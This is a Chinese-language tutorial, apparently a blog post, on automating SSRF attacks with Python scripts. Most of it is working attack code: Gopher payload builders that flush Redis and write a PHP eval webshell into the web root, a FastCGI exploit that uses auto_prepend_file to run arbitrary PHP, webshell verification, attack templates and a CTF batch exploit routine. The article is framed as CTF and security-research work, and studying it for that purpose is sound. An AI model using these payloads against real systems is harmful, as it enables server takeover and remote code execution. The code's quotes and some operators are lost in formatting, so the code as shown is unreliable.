不止于解题:用Python脚本自动化处理SSRF中的Gopher与Redis协议Payload
从手工到自动化Python在SSRF漏洞挖掘中的高效实践在网络安全领域服务器端请求伪造(SSRF)一直是渗透测试和CTF比赛中的重点难点。传统的手工测试方法不仅效率低下还容易因编码错误导致攻击失败。本文将分享如何利用Python脚本将繁琐的手工操作转化为自动化流程让安全研究人员能够更专注于漏洞原理的理解和攻击逻辑的设计。1. SSRF自动化测试的核心挑战SSRF漏洞利用过程中最耗时的环节往往不是漏洞发现本身而是各种协议payload的构造和编码转换。以Gopher协议攻击Redis服务为例传统手工操作需要经历以下繁琐步骤手动构造Redis命令序列处理特殊字符和换行符进行多次URL编码拼接最终的攻击URL# 手工操作示例 - Redis攻击payload构造 redis_cmd flushall set 1 ?php eval($_GET[cmd]);? config set dir /var/www/html config set dbfilename shell.php save 这种手工操作不仅容易出错而且在需要调整攻击参数时往往需要重新开始整个编码过程。更糟糕的是某些CTF环境对请求有时间限制手工操作可能无法在限定时间内完成。2. Python自动化工具链设计2.1 协议payload生成器针对不同协议(Gopher、HTTP、FastCGI等)我们可以构建专门的payload生成函数。以Redis协议为例def generate_redis_payload(commands): 将Redis命令转换为Gopher可用的格式 :param commands: Redis命令列表 :return: 编码后的payload字符串 payload for cmd in commands: parts cmd.split() # 构造Redis协议格式 payload f*{len(parts)}\r\n for part in parts: payload f${len(part)}\r\n{part}\r\n return payload2.2 智能编码转换模块多次URL编码是SSRF攻击中的常见需求手工操作极易出错。我们可以实现自动化编码转换from urllib.parse import quote def multi_urlencode(data, times2): 多层URL编码 :param data: 原始字符串 :param times: 编码次数 :return: 编码后的字符串 encoded data for _ in range(times): encoded quote(encoded) return encoded2.3 流量模拟与调试工具对于复杂的攻击链我们可以构建流量模拟器来验证payload的正确性import socket def test_gopher_payload(host, port, payload): 测试Gopher payload是否能够正确执行 :param host: 目标主机 :param port: 目标端口 :param payload: 构造的payload try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) s.sendall(payload.encode()) response s.recv(4096) print(fReceived: {response.decode(errorsignore)}) except Exception as e: print(fError: {str(e)})3. 实战案例自动化攻击链构建3.1 Redis写Webshell全流程自动化结合上述模块我们可以实现从Redis命令到最终攻击URL的一键生成def generate_redis_attack(host, port, web_path, filename): 生成Redis写Webshell的完整攻击链 :param host: 目标主机 :param port: Redis端口 :param web_path: Web目录路径 :param filename: 要写入的文件名 :return: 可直接使用的攻击URL commands [ flushall, fset 1 ?php eval($_GET[\cmd\]);?, fconfig set dir {web_path}, fconfig set dbfilename {filename}, save ] redis_payload generate_redis_payload(commands) gopher_payload fgopher://{host}:{port}/_{multi_urlencode(redis_payload)} final_payload multi_urlencode(gopher_payload) return f/?url{final_payload}3.2 FastCGI攻击自动化处理对于FastCGI协议的攻击我们可以利用现成的Python库进行封装from fastcgi_client import FastCGIClient def exploit_fastcgi(target, port, php_file, php_code): FastCGI协议自动化攻击 :param target: 目标主机 :param port: FastCGI端口 :param php_file: 目标PHP文件路径 :param php_code: 要执行的PHP代码 client FastCGIClient(target, port, 3, 0) params { GATEWAY_INTERFACE: FastCGI/1.0, REQUEST_METHOD: POST, SCRIPT_FILENAME: php_file, SCRIPT_NAME: php_file, QUERY_STRING: , REQUEST_URI: php_file, DOCUMENT_ROOT: /, SERVER_SOFTWARE: php/fcgiclient, REMOTE_ADDR: 127.0.0.1, REMOTE_PORT: 9985, SERVER_ADDR: 127.0.0.1, SERVER_PORT: 80, SERVER_NAME: localhost, SERVER_PROTOCOL: HTTP/1.1, CONTENT_TYPE: application/text, CONTENT_LENGTH: %d % len(php_code), PHP_VALUE: auto_prepend_file php://input, PHP_ADMIN_VALUE: allow_url_include On } response client.request(params, php_code) print(response.decode())4. 效率提升技巧与最佳实践4.1 攻击模板管理系统对于常见的攻击场景我们可以建立模板库快速生成基础payloadtemplates { redis_webshell: { commands: [ flushall, set 1 ?php eval($_GET[\cmd\]);?, config set dir /var/www/html, config set dbfilename {filename}, save ], encode_times: 2 }, fastcgi_phpinfo: { code: ?php phpinfo(); exit; ?, params: { PHP_VALUE: auto_prepend_file php://input } } } def get_template(name, **kwargs): 获取预定义的攻击模板 :param name: 模板名称 :param kwargs: 模板参数 :return: 填充后的模板内容 if name not in templates: raise ValueError(fUnknown template: {name}) template templates[name].copy() # 替换模板中的变量 if isinstance(template, dict): for key, value in template.items(): if isinstance(value, str): template[key] value.format(**kwargs) return template4.2 自动化测试与验证为每个生成的payload添加验证环节确保攻击能够成功执行def verify_webshell(url, paramcmd, test_cmdecho test;): 验证Webshell是否成功写入 :param url: Webshell地址 :param param: 参数名 :param test_cmd: 测试命令 :return: 是否验证成功 try: response requests.get(f{url}?{param}{quote(test_cmd)}) return test in response.text except: return False4.3 性能优化技巧对于需要大量编码转换的操作我们可以使用更高效的处理方式import codecs def hex_encode(data): 高效十六进制编码 :param data: 原始数据 :return: 十六进制字符串 return codecs.encode(data.encode(), hex).decode() def build_gopher_payload(host, port, data): 高效构建Gopher payload :param host: 目标主机 :param port: 目标端口 :param data: 原始数据 :return: 编码后的Gopher URL hex_data hex_encode(data) return fgopher://{host}:{port}/_{hex_data}5. 安全研究与CTF实战应用在真实的CTF比赛和安全研究中自动化工具可以显著提升效率。以下是几个典型应用场景快速漏洞验证在发现潜在SSRF漏洞时快速验证漏洞是否存在批量测试对多个目标或多种payload变体进行批量测试复杂攻击链构建需要精确时序或多步骤的复杂攻击模糊测试自动生成各种边界条件的payload进行测试# CTF中自动化利用SSRF的示例 def ctf_ssrf_exploit(target_url, local_port, payload_generator): CTF中自动化利用SSRF漏洞 :param target_url: 存在SSRF的URL :param local_port: 目标服务的端口 :param payload_generator: payload生成函数 payload payload_generator(127.0.0.1, local_port) encoded_payload multi_urlencode(payload) final_url f{target_url}?url{encoded_payload} response requests.get(final_url) if flag{ in response.text: print([] Exploit successful!) print(response.text) else: print([-] Exploit failed)在安全研究过程中将这些自动化脚本整合到你的工作流程中可以让你将更多精力集中在漏洞原理和攻击手法的创新上而不是重复的编码和测试工作。